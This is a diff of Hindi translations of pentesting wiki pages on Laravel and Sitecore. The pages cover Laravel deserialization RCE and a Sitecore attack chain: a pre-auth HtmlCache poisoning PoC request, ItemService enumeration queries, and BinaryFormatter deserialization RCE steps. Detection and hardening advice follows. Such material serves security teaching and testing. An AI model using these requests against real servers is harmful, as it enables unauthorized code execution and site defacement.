рдЬрд╛рдирдХрд╛рд░реА debug page рдореЗрдВ рднреА рджрд┐рдЦрд╛рдПрдЧрд╛ (рдЬреЛ рддрдм рджрд┐рдЦрд╛рдИ рджреЗрддрд╛ рд╣реИ рдЬрдм Laravel рдХрд┐рд╕реА error рдХреЛ рдкрд╛рддрд╛ рд╣реИ рдФрд░ рдпрд╣ рд╕рдХреНрд░рд┐рдп рд╣реЛрддрд╛ рд╣реИ)ред Laravel рдХреЗ secret APP_KEY рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк cookies рдХреЛ decrypt рдФрд░ re-encrypt рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: @@ -220,11 +220,12 @@ encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2Swe ``` ### Laravel Deserialization RCE -рдкреНрд░рднрд╛рд╡рд┐рдд рд╕рдВрд╕реНрдХрд░рдг: 5.5.40 рдФрд░ 5.6.x рд╕реЗ 5.6.29 рддрдХ ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/)) +рдкреНрд░рднрд╛рд╡рд┐рдд рд╕рдВрд╕реНрдХрд░рдг: 5.5.40 рдФрд░ 5.6.x рд╕реЗ рд▓реЗрдХрд░ 5.6.29 рддрдХ ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/)) -рдЗрд╕ deserialization vulnerability рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдпрд╣рд╛рдБ рдкрд╛рдИ рдЬрд╛ рд╕рдХрддреА рд╣реИ: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/) +рдпрд╣рд╛рдБ рдЖрдк deserialization vulnerability рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/) -рдЖрдк рдЗрд╕реЗ рдкрд░реАрдХреНрд╖рдг рдФрд░ exploit рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\ рдпрд╛ рдЖрдк metasploit рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рднреА рдЗрд╕реЗ exploit рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: `use unix/http/laravel_token_unserialize_exec` +рдЖрдк рдЗрд╕реЗ рдЯреЗрд╕реНрдЯ рдФрд░ exploit рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\ +рдпрд╛ рдЖрдк рдЗрд╕реЗ metasploit рдХреЗ рд╕рд╛рде рднреА exploit рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: `use unix/http/laravel_token_unserialize_exec` ### CVE-2021-3129 @@ -232,7 +233,7 @@ encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2Swe -## рд╕рдВрджрд░реНрдн +## References * [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html) * [Laravel : analyse de fuite dтАЩAPP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html) * [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) diff --git a/src/network-services-pentesting/pentesting-web/sitecore/README.md b/src/network-services-pentesting/pentesting-web/sitecore/README.md index 857ad9674..2b93fc3d4 100644 --- a/src/network-services-pentesting/pentesting-web/sitecore/README.md +++ b/src/network-services-pentesting/pentesting-web/sitecore/README.md @@ -2,9 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -рдпрд╣ рдкреГрд╖реНрда Sitecore XP 10.4.1 рдХреЗ рдЦрд┐рд▓рд╛рдл рдПрдХ рд╡реНрдпрд╛рд╡рд╣рд╛рд░рд┐рдХ attack chain рдХрд╛ рд╕рд╛рд░рд╛рдВрд╢ рдкреНрд░рд╕реНрддреБрдд рдХрд░рддрд╛ рд╣реИ рдЬреЛ preтАСauth XAML handler рд╕реЗ HTML cache poisoning рдХреА рдУрд░ рдореБрдбрд╝рддрд╛ рд╣реИ рдФрд░ authenticated UI flow рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ BinaryFormatter deserialization рдХреЗ рдЬрд░рд┐рдП RCE рддрдХ рдкрд╣реБрдБрдЪрддрд╛ рд╣реИред рдпреЗ рддрдХрдиреАрдХреЗрдВ рд╕рдорд╛рди Sitecore versions/components рдкрд░ рд╕рд╛рдорд╛рдиреНрдпреАрдХреГрдд рд╣реЛрддреА рд╣реИрдВ рдФрд░ рдкрд░реАрдХреНрд╖рдг, рдкрддрд╛ рд▓рдЧрд╛рдиреЗ, рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ рд╕рдЦреНрддреА (harden) рдХреЗ рд▓рд┐рдП рдареЛрд╕ primitives рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИрдВред +рдпрд╣ рдкреГрд╖реНрда Sitecore XP 10.4.1 рдХреЗ рдЦрд┐рд▓рд╛рдл рдПрдХ рд╡реНрдпрд╛рд╡рд╣рд╛рд░рд┐рдХ attack chain рдХрд╛ рд╕рд╛рд░ рдкреНрд░рд╕реНрддреБрдд рдХрд░рддрд╛ рд╣реИ рдЬреЛ preтАСauth XAML handler рд╕реЗ HTML cache poisoning рдХреА рдУрд░ рдореБрдбрд╝рддрд╛ рд╣реИ рдФрд░ authenticated UI flow рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ BinaryFormatter deserialization рдХреЗ рдЬрд░рд┐рдП RCE рддрдХ рдкрд╣реБрдБрдЪрддрд╛ рд╣реИред рдпреЗ рддрдХрдиреАрдХреЗрдВ рд╕рдорд╛рди Sitecore рд╕рдВрд╕реНрдХрд░рдгреЛрдВ/components рдкрд░ рд╕рд╛рдорд╛рдиреНрдпреАрдХреГрдд рд╣реЛрддреА рд╣реИрдВ рдФрд░ рдЯреЗрд╕реНрдЯ, рдбрд┐рдЯреЗрдХреНрдЯ, рддрдерд╛ рд╣рд╛рд░реНрдбрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдареЛрд╕ primitives рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИрдВред -- рдкреНрд░рднрд╛рд╡рд┐рдд рдЙрддреНрдкрд╛рдж (рдкрд░реАрдХреНрд╖рдг рдХрд┐рдпрд╛ рдЧрдпрд╛): Sitecore XP 10.4.1 rev. 011628 +- рдкреНрд░рднрд╛рд╡рд┐рдд рдЙрддреНрдкрд╛рдж (рдкрд░реАрдХреНрд╖рдг): Sitecore XP 10.4.1 rev. 011628 - Fixed in: KB1003667, KB1003734 (рдЬреВрди/рдЬреБрд▓рд╛рдИ 2025) See also: @@ -19,15 +19,15 @@ See also: ## PreтАСauth primitive: XAML Ajax reflection тЖТ HtmlCache write -рдкреНрд░рд╡реЗрд╢ рдмрд┐рдВрджреБ preтАСauth XAML handler рд╣реИ рдЬреЛ web.config рдореЗрдВ рд░рдЬрд┐рд╕реНрдЯрд░реНрдб рд╣реИ: +рдкреНрд░рд╡реЗрд╢ рдмрд┐рдВрджреБ web.config рдореЗрдВ рдкрдВрдЬреАрдХреГрдд preтАСauth XAML handler рд╣реИ: ```xml ``` -рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЙрдкрд▓рдмреНрдз: +рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрд╣реБрдБрдЪрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: ``` GET /-/xaml/Sitecore.Shell.Xaml.WebControl ``` -рдХрдВрдЯреНрд░реЛрд▓ рдЯреНрд░реА рдореЗрдВ AjaxScriptManager рд╢рд╛рдорд┐рд▓ рд╣реИ рдЬреЛ event requests рдкрд░ attackerтАСcontrolled fields рдХреЛ рдкрдврд╝рддрд╛ рд╣реИ рдФрд░ рд░рд┐рдлреНрд▓реЗрдХреНрд╢рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд▓рдХреНрд╖рд┐рдд рдХрдВрдЯреНрд░реЛрд▓реНрд╕ рдкрд░ рдореЗрдердбреНрд╕ рдХреЛ invoke рдХрд░рддрд╛ рд╣реИ: +рдХрдВрдЯреНрд░реЛрд▓ рдЯреНрд░реА рдореЗрдВ AjaxScriptManager рд╢рд╛рдорд┐рд▓ рд╣реИ рдЬреЛ рдЗрд╡реЗрдВрдЯ рдЕрдиреБрд░реЛрдзреЛрдВ рдкрд░ attackerтАСcontrolled рдлреАрд▓реНрдбреНрд╕ рдХреЛ рдкрдврд╝рддрд╛ рд╣реИ рдФрд░ рд▓рдХреНрд╖рд┐рдд controls рдкрд░ рд░рд┐рдлреНрд▓реЗрдХреНрдЯрд┐рд╡рд▓реА рдореЗрдердбреНрд╕ рдХреЛ invoke рдХрд░рддрд╛ рд╣реИ: ```csharp // AjaxScriptManager.OnPreRender string clientId = page.Request.Form["__SOURCE"]; // target control @@ -42,9 +42,9 @@ if (m != null) m.Invoke(this, e.Parameters); // Alternate branch for XML-based controls if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...} ``` -рдореБрдЦреНрдп рдЕрд╡рд▓реЛрдХрди: XAML рдкреЗрдЬ рдореЗрдВ рдПрдХ XmlControl instance (xmlcontrol:GlobalHeader) рд╢рд╛рдорд┐рд▓ рд╣реИред Sitecore.XmlControls.XmlControl, Sitecore.Web.UI.WebControl (рдПрдХ Sitecore class) рд╕реЗ рд╡реНрдпреБрддреНрдкрдиреНрди рд╣реИ, рдЬреЛ ReflectionUtil.Filter allowтАСlist (Sitecore.*) рдХреЛ рдкрд╛рд╕ рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдЗрд╕ рддрд░рд╣ Sitecore WebControl рдкрд░ methods рдЕрдирд▓реЙрдХ рд╣реЛ рдЬрд╛рддреЗ рд╣реИрдВред +рдореБрдЦреНрдп рдЕрд╡рд▓реЛрдХрди: XAML рдкреЗрдЬ рдореЗрдВ рдПрдХ XmlControl instance (xmlcontrol:GlobalHeader) рд╢рд╛рдорд┐рд▓ рд╣реИред Sitecore.XmlControls.XmlControl Sitecore.Web.UI.WebControl (рдПрдХ Sitecore class) рд╕реЗ derive рд╣реЛрддрд╛ рд╣реИ, рдЬреЛ ReflectionUtil.Filter allowтАСlist (Sitecore.*) рдХреЛ рдкрд╛рд╕ рдХрд░рддрд╛ рд╣реИ рдФрд░ Sitecore WebControl рдкрд░ methods рдХреЛ рдЕрдирд▓реЙрдХ рдХрд░ рджреЗрддрд╛ рд╣реИред -Magic method for poisoning: +poisoning рдХреЗ рд▓рд┐рдП Magic method: ```csharp // Sitecore.Web.UI.WebControl protected virtual void AddToCache(string cacheKey, string html) { @@ -52,7 +52,7 @@ HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site); if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout); } ``` -рдХреНрдпреЛрдВрдХрд┐ рд╣рдо xmlcontrol:GlobalHeader рдХреЛ target рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдирд╛рдо рд╕реЗ Sitecore.Web.UI.WebControl methods рдХреЛ call рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рд╣рдореЗрдВ рдПрдХ preтАСauth arbitrary HtmlCache write primitive рдорд┐рд▓ рдЬрд╛рддрд╛ рд╣реИред +рдХреНрдпреЛрдВрдХрд┐ рд╣рдо xmlcontrol:GlobalHeader рдХреЛ target рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдирд╛рдо рджреНрд╡рд╛рд░рд╛ Sitecore.Web.UI.WebControl methods рдХреЛ call рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рд╣рдореЗрдВ рдПрдХ preтАСauth arbitrary HtmlCache write primitive рдорд┐рд▓рддрд╛ рд╣реИред ### PoC request (CVE-2025-53693) ``` @@ -62,13 +62,13 @@ Content-Type: application/x-www-form-urlencoded __PARAMETERS=AddToCache("wat","pwn")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1 ``` -рдиреЛрдЯреНрд╕: -- __SOURCE, Sitecore.Shell.Xaml.WebControl рдореЗрдВ xmlcontrol:GlobalHeader рдХрд╛ clientID рд╣реИ (рдЖрдорддреМрд░ рдкрд░ рд╕реНрдерд┐рд░, рдЬреИрд╕реЗ ctl00_ctl00_ctl05_ctl03 рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ static XAML рд╕реЗ рд╡реНрдпреБрддреНрдкрдиреНрди рд╣реЛрддрд╛ рд╣реИ)ред -- __PARAMETERS рдХрд╛ рдкреНрд░рд╛рд░реВрдк Method("arg1","arg2") рд╣реИред +рдиреЛрдЯ: +- __SOURCE xmlcontrol:GlobalHeader рдХрд╛ clientID рд╣реИ, рдЬреЛ Sitecore.Shell.Xaml.WebControl рдХреЗ рднреАрддрд░ рдЖрддрд╛ рд╣реИ (рдЖрдо рддреМрд░ рдкрд░ рд╕реНрдерд┐рд░ рд╣реЛрддрд╛ рд╣реИ рдЬреИрд╕реЗ ctl00_ctl00_ctl05_ctl03 рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ static XAML рд╕реЗ рд╡реНрдпреБрддреНрдкрдиреНрди рд╣реЛрддрд╛ рд╣реИ). +- __PARAMETERS рдХрд╛ рдлрд╝реЙрд░реНрдореЗрдЯ Method("arg1","arg2") рд╣реИред -## рдХреНрдпрд╛ poison рдХрд░рдирд╛ рд╣реИ: Cache key рдирд┐рд░реНрдорд╛рдг +## рдХреНрдпрд╛ poison рдХрд░рдирд╛ рд╣реИ: Cache key construction -Sitecore controls рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рд╕рд╛рдорд╛рдиреНрдп HtmlCache рдХреБрдВрдЬреА рдирд┐рд░реНрдорд╛рдг: +Sitecore controls рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рд╕рд╛рдорд╛рдиреНрдп HtmlCache key construction: ```csharp public virtual string GetCacheKey(){ SiteContext site = Sitecore.Context.Site; @@ -90,31 +90,31 @@ return k; return string.Empty; } ``` -рдПрдХ рдЬреНрдЮрд╛рдд sublayout рдХреЗ рд▓рд┐рдП рд▓рдХреНрд╖рд┐рдд poisoning рдХрд╛ рдЙрджрд╛рд╣рд░рдг: +рдЬреНрдЮрд╛рдд sublayout рдХреЗ рд▓рд┐рдП targeted poisoning рдХрд╛ рдЙрджрд╛рд╣рд░рдг: ``` __PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","тАжattacker HTMLтАж")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1 ``` -## рдХреИрд╢реЗрдмрд▓ рдЖрдЗрдЯрдо рдФрд░ тАЬvary byтАЭ рдбрд╛рдпрдореЗрдВрд╢рдиреНрд╕ рдХреА рд╕реВрдЪреА рдмрдирд╛рдирд╛ +## cacheable items рдФрд░ тАЬvary byтАЭ рдЖрдпрд╛рдореЛрдВ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдирд╛ -рдпрджрд┐ ItemService (рдЧрд▓рдд рддрд░реАрдХреЗ рд╕реЗ) рдЕрдирд╛рдо рд░реВрдк рд╕реЗ рдПрдХреНрд╕рдкреЛрдЬрд╝ рд╣реИ, рддреЛ рдЖрдк рд╕рдЯреАрдХ keys рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдХреИрд╢реЗрдмрд▓ components рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдпрджрд┐ ItemService (mis)exposed anonymously рд╣реИ, рддреЛ рдЖрдк cacheable components рдХреЛ enumerate рдХрд░рдХреЗ exact keys рдирд┐рдХрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВред -рддреНрд╡рд░рд┐рдд рдЬрд╛рдВрдЪ: +рддреНрд╡рд░рд┐рдд рдЬрд╛рдБрдЪ: ``` GET /sitecore/api/ssc/item // 404 Sitecore error body тЖТ exposed (anonymous) // 403 тЖТ blocked/auth required ``` -рдХреИрд╢ рдХрд░рдиреЗ рдпреЛрдЧреНрдп рдЖрдЗрдЯрдо рдФрд░ рдлрд╝реНрд▓реИрдЧ рд╕реВрдЪреАрдмрджреНрдз рдХрд░реЗрдВ: +рдХреИрд╢ рдХрд░рдиреЗ рдпреЛрдЧреНрдп рдЖрдЗрдЯрдо рдФрд░ flags рд╕реВрдЪреАрдмрджреНрдз рдХрд░реЗрдВ: ``` GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100 ``` -Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate рдЬреИрд╕реЗ рдлрд╝реАрд▓реНрдб рдЦреЛрдЬреЗрдВред рдбрд┐рд╡рд╛рдЗрд╕ рдирд╛рдореЛрдВ рдХреЛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реВрдЪреАрдмрджреНрдз рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: +Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate рдЬреИрд╕реЗ рдлрд╝реАрд▓реНрдб рджреЗрдЦреЗрдВред рдбрд┐рд╡рд╛рдЗрд╕ рдирд╛рдореЛрдВ рдХреЛ рдирд┐рдореНрди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реВрдЪреАрдмрджреНрдз рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: ``` GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100 ``` ### SideтАСchannel enumeration under restricted identities (CVE-2025-53694) -рднрд▓реЗ рд╣реА ItemService рдХрд┐рд╕реА рд╕реАрдорд┐рдд рдЦрд╛рддреЗ (e.g., ServicesAPI) рдХреА рдирдХрд▓ рдХрд░реЗ рдФрд░ рдЦрд╛рд▓реА Results array рд▓реМрдЯрд╛рдП, TotalCount рдлрд┐рд░ рднреА preтАСACL Solr hits рдХреЛ рджрд░реНрд╢рд╛ рд╕рдХрддрд╛ рд╣реИред рдЖрдк wildcards рдХреЗ рд╕рд╛рде item groups/ids рдХреЛ bruteтАСforce рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ TotalCount рдХреЗ converge рд╣реЛрддреЗ рд╣реБрдП internal content рдФрд░ devices рдХрд╛ рдорд╛рдирдЪрд┐рддреНрд░ рдмрдирддреЗ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ: +рдпрд╣рд╛рдБ рддрдХ рдХрд┐ рдЬрдм ItemService рдХрд┐рд╕реА рд╕реАрдорд┐рдд рдЦрд╛рддреЗ (рдЙрджрд╛., ServicesAPI) рдХреА рдирдХрд▓ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдПрдХ рдЦрд╛рд▓реА Results array рд▓реМрдЯрд╛рддрд╛ рд╣реИ, рддрдм рднреА TotalCount preтАСACL Solr hits рдХреЛ рджрд░реНрд╢рд╛ рд╕рдХрддрд╛ рд╣реИред рдЖрдк wildcards рдХреЗ рд╕рд╛рде item groups/ids рдкрд░ bruteтАСforce рдХрд░рдХреЗ TotalCount рдХреЗ converge рд╣реЛрддреЗ рд╣реБрдП internal content рдФрд░ devices рдХрд╛ рдирдХреНрд╢рд╛ рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ: ``` GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true тЖТ "TotalCount": 3 @@ -123,7 +123,7 @@ GET /...term=%2B_templatename:Device;%2B_group:aa* GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1* тЖТ narrow to a specific item ``` -## PostтАСauth RCE: BinaryFormatter sink convertToRuntimeHtml рдореЗрдВ (CVE-2025-53691) +## PostтАСauth RCE: BinaryFormatter sink рдореЗрдВ convertToRuntimeHtml (CVE-2025-53691) Sink: ```csharp @@ -131,14 +131,14 @@ Sink: byte[] b = Convert.FromBase64String(data); return new BinaryFormatter().Deserialize(new MemoryStream(b)); ``` -рдпрд╣ convertToRuntimeHtml pipeline step ConvertWebControls рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрд╣реБрдБрдЪ рдпреЛрдЧреНрдп рд╣реИ, рдЬреЛ id {iframeId}_inner рд╡рд╛рд▓реЗ element рдХреЛ рдвреВрдВрдврддрд╛ рд╣реИ рдФрд░ рдЙрд╕реЗ base64 decodes + deserializes рдХрд░рдХреЗ resulting string рдХреЛ HTML рдореЗрдВ inject рдХрд░ рджреЗрддрд╛ рд╣реИ: +convertToRuntimeHtml pipeline step ConvertWebControls рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрд╣реБрдВрдЪ рдпреЛрдЧреНрдп рд╣реИ, рдЬреЛ id {iframeId}_inner рд╡рд╛рд▓реЗ element рдХреЛ рдЦреЛрдЬрддрд╛ рд╣реИ рдФрд░ рдЙрд╕реЗ base64 decodes + deserializes рдХрд░рддрд╛ рд╣реИ, рдлрд┐рд░ resulting string рдХреЛ HTML рдореЗрдВ inject рдХрд░рддрд╛ рд╣реИ: ```csharp HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']"); string text2 = inner?.GetAttributeValue("value", ""); if (text2.Length > 0) htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string); ``` -рдЯреНрд░рд┐рдЧрд░ (рдкреНрд░рдорд╛рдгреАрдХреГрдд, Content Editor рдЕрдзрд┐рдХрд╛рд░)ред FixHtml рдбрд╛рдпрд▓реЙрдЧ convertToRuntimeHtml рдХреЛ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИред UI рдХреНрд▓рд┐рдХ рдХреЗ рдмрд┐рдирд╛ рдПрдВрдбтАСрдЯреВтАСрдПрдВрдб: +Trigger (рдкреНрд░рдорд╛рдгреАрдХреГрдд, Content Editor рдЕрдзрд┐рдХрд╛рд░). FixHtml dialog convertToRuntimeHtml рдХреЛ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИред EndтАСtoтАСend рдмрд┐рдирд╛ UI рдХреНрд▓рд┐рдХреЛрдВ рдХреЗ: ``` // 1) Start Content Editor GET /sitecore/shell/Applications/Content%20Editor.aspx @@ -166,29 +166,29 @@ Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a ../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md {{#endref}} -## рдкреВрд░рд╛ рдЪреЗрди +## рд╕рдВрдкреВрд░реНрдг рдЪреЗрди -1) PreтАСauth attacker XAML AjaxScriptManager рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ reflectively WebControl.AddToCache рдХреЛ invoke рдХрд░рдХреЗ arbitrary HTML рдХреЗ рд╕рд╛рде HtmlCache рдХреЛ poison рдХрд░рддрд╛ рд╣реИред -2) Poisoned HTML JavaScript рдкрд░реЛрд╕реЗрдЧрд╛ рдЬреЛ authenticated Content Editor user рдХреЛ FixHtml flow рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░реЗрд░рд┐рдд рдХрд░рддрд╛ рд╣реИред -3) FixHtml рдкреЗрдЬ convertToRuntimeHtml тЖТ ConvertWebControls рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ attackerтАСcontrolled base64 рдХреЛ BinaryFormatter рдХреЗ рдЬрд░рд┐рдП deserialize рдХрд░рддрд╛ рд╣реИ тЖТ Sitecore app pool identity рдХреЗ рддрд╣рдд RCEред +1) PreтАСauth рд╣рдорд▓рд╛рд╡рд░ reflectively invoking WebControl.AddToCache via XAML AjaxScriptManager рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ arbitrary HTML рд╕реЗ HtmlCache рдХреЛ рдкреНрд░рджреВрд╖рд┐рдд рдХрд░рддрд╛ рд╣реИред +2) рдкреНрд░рджреВрд╖рд┐рдд HTML JavaScript рдкрд░реЛрд╕рддрд╛ рд╣реИ рдЬреЛ рдПрдХ рдкреНрд░рдорд╛рдгреАрдХреГрдд Content Editor рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ FixHtml flow рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдиреЗрд╡рд┐рдЧреЗрдЯ рдХрд░рддрд╛ рд╣реИред +3) FixHtml рдкреЗрдЬ convertToRuntimeHtml тЖТ ConvertWebControls рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ BinaryFormatter рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╣рдорд▓рд╛рд╡рд░тАСрдирд┐рдпрдВрддреНрд░рд┐рдд base64 рдХреЛ рдбрд┐рд╕реЗрд░рд┐рдпрд▓рд╛рдЗрдЬрд╝ рдХрд░рдХреЗ Sitecore app pool identity рдХреЗ рдЕрдВрддрд░реНрдЧрдд RCE рдкреИрджрд╛ рдХрд░рддрд╛ рд╣реИред ## рдкрд╣рдЪрд╛рди -- PreтАСauth XAML: `/-/xaml/Sitecore.Shell.Xaml.WebControl` рдХреЗ рд▓рд┐рдП requests рдЬрд┐рдирдореЗрдВ `__ISEVENT=1`, рд╕рдВрджрд┐рдЧреНрдз `__SOURCE` рдФрд░ `__PARAMETERS=AddToCache(...)`ред -- ItemService probing: `/sitecore/api/ssc` рдХреА wildcard queries рдореЗрдВ spikes, рдЦрд╛рд▓реА `Results` рдХреЗ рд╕рд╛рде рдмрдбрд╝реЗ `TotalCount`ред -- Deserialization attempts: `EditHtml.aspx` рдХреЗ рдмрд╛рдж `FixHtml.aspx?hdl=...` рдФрд░ HTML fields рдореЗрдВ рдЕрд╕рд╛рдзрд╛рд░рдг рд░реВрдк рд╕реЗ рдмрдбрд╝реЗ base64ред +- PreтАСauth XAML: `/-/xaml/Sitecore.Shell.Xaml.WebControl` рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░реЛрдз рдЬрд┐рдирдореЗрдВ `__ISEVENT=1`, рд╕рдВрджрд┐рдЧреНрдз `__SOURCE` рдФрд░ `__PARAMETERS=AddToCache(...)` рд╣реЛрддреЗ рд╣реИрдВред +- ItemService probing: `/sitecore/api/ssc` рд╡рд╛рдЗрд▓реНрдбрдХрд╛рд░реНрдб рдХреНрд╡реЗрд░реАрдЬ рдореЗрдВ рд╡реГрджреНрдзрд┐, рдЦрд╛рд▓реА `Results` рдХреЗ рд╕рд╛рде рдмрдбрд╝рд╛ `TotalCount`ред +- Deserialization attempts: `EditHtml.aspx` рдХреЗ рдмрд╛рдж `FixHtml.aspx?hdl=...` рдФрд░ HTML рдлрд╝реАрд▓реНрдбреНрд╕ рдореЗрдВ рдЕрд╕рд╛рдорд╛рдиреНрдп рд░реВрдк рд╕реЗ рдмрдбрд╝рд╛ base64ред -## рд╣рд╛рд░реНрдбрдирд┐рдВрдЧ +## рдХрдбрд╝реА рд╕реБрд░рдХреНрд╖рд╛ -- Sitecore patches KB1003667 рдФрд░ KB1003734 рд▓рд╛рдЧреВ рдХрд░реЗрдВ; preтАСauth XAML handlers рдХреЛ gate/disable рдХрд░реЗрдВ рдпрд╛ strict validation рдЬреЛрдбрд╝реЗрдВ; `/-/xaml/` рдХреА рдирд┐рдЧрд░рд╛рдиреА рдФрд░ rateтАСlimit рд▓рд╛рдЧреВ рдХрд░реЗрдВред -- BinaryFormatter рдХреЛ рд╣рдЯрд╛рдПрдБ/рдмрджрд▓реЗрдВ; convertToRuntimeHtml рддрдХ access рдХреЛ restrict рдХрд░реЗрдВ рдпрд╛ HTML editing flows рдкрд░ strong serverтАСside validation рд▓рд╛рдЧреВ рдХрд░реЗрдВред -- `/sitecore/api/ssc` рдХреЛ loopback рдпрд╛ authenticated roles рддрдХ рд▓реЙрдХрдбрд╛рдЙрди рдХрд░реЗрдВ; impersonation patterns рд╕реЗ рдмрдЪреЗрдВ рдЬреЛ `TotalCount`тАСbased side channels рдХреЛ leak рдХрд░рддреЗ рд╣реИрдВред -- Content Editor users рдХреЗ рд▓рд┐рдП MFA/least privilege рд▓рд╛рдЧреВ рдХрд░реЗрдВ; CSP рдХреА рд╕рдореАрдХреНрд╖рд╛ рдХрд░реЗрдВ рддрд╛рдХрд┐ cache poisoning рд╕реЗ JS steering рдХрд╛ рдкреНрд░рднрд╛рд╡ рдШрдЯреЗред +- Sitecore patches KB1003667 рдФрд░ KB1003734 рд▓рд╛рдЧреВ рдХрд░реЗрдВ; preтАСauth XAML handlers рдХреЛ gate/disable рдХрд░реЗрдВ рдпрд╛ рд╕рдЦреНрдд validation рдЬреЛрдбрд╝реЗрдВ; 